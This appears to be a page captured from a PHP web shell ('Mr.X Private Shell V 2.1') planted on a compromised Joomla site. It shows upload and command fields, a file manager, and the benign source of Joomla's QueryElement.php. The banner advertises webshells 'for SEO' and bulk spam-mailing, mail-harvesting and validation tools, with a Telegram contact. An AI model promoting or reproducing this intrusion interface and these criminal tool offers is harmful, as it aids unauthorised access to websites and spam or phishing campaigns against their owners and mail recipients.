__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * Part of the Joomla Framework Database Package
 *
 * @copyright  Copyright (C) 2005 - 2021 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Database\Query;

/**
 * Query Element Class.
 *
 * @since  1.0
 */
class QueryElement
{
	/**
	 * The name of the element.
	 *
	 * @var    string
	 * @since  1.0
	 */
	protected $name;

	/**
	 * An array of elements.
	 *
	 * @var    string[]
	 * @since  1.0
	 */
	protected $elements = [];

	/**
	 * Glue piece.
	 *
	 * @var    string
	 * @since  1.0
	 */
	protected $glue;

	/**
	 * Constructor.
	 *
	 * @param   string           $name      The name of the element.
	 * @param   string[]|string  $elements  String or array.
	 * @param   string           $glue      The glue for elements.
	 *
	 * @since   1.0
	 */
	public function __construct($name, $elements, $glue = ',')
	{
		$this->name = $name;
		$this->glue = $glue;

		$this->append($elements);
	}

	/**
	 * Magic function to convert the query element to a string.
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	public function __toString()
	{
		if (substr($this->name, -2) === '()')
		{
			return \PHP_EOL . substr($this->name, 0, -2) . '(' . implode($this->glue, $this->elements) . ')';
		}

		return \PHP_EOL . $this->name . ' ' . implode($this->glue, $this->elements);
	}

	/**
	 * Appends element parts to the internal list.
	 *
	 * @param   string[]|string  $elements  String or array.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function append($elements)
	{
		if (\is_array($elements))
		{
			$this->elements = array_merge($this->elements, $elements);
		}
		else
		{
			$this->elements = array_merge($this->elements, [$elements]);
		}
	}

	/**
	 * Gets the elements of this element.
	 *
	 * @return  string[]
	 *
	 * @since   1.0
	 */
	public function getElements()
	{
		return $this->elements;
	}

	/**
	 * Gets the glue of this element.
	 *
	 * @return  string  Glue of the element.
	 *
	 * @since   2.0.0
	 */
	public function getGlue()
	{
		return $this->glue;
	}

	/**
	 * Gets the name of this element.
	 *
	 * @return  string  Name of the element.
	 *
	 * @since   1.7.0
	 */
	public function getName()
	{
		return $this->name;
	}

	/**
	 * Sets the name of this element.
	 *
	 * @param   string  $name  Name of the element.
	 *
	 * @return  $this
	 *
	 * @since   1.3.0
	 */
	public function setName($name)
	{
		$this->name = $name;

		return $this;
	}

	/**
	 * Method to provide basic copy support.
	 *
	 * Any object pushed into the data of this class should have its own __clone() implementation.
	 * This method does not support copying objects in a multidimensional array.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function __clone()
	{
		foreach ($this as $k => $v)
		{
			if (\is_object($v))
			{
				$this->{$k} = clone $v;
			}
			elseif (\is_array($v))
			{
				foreach ($v as $i => $element)
				{
					if (\is_object($element))
					{
						$this->{$k}[$i] = clone $element;
					}
				}
			}
		}
	}
}

Filemanager

Name Type Size Permission Actions
LimitableInterface.php File 1.62 KB 0664
MysqlQueryBuilder.php File 6.52 KB 0664
PostgresqlQueryBuilder.php File 14.55 KB 0664
PreparableInterface.php File 2.61 KB 0664
QueryElement.php File 2.99 KB 0664
Filemanager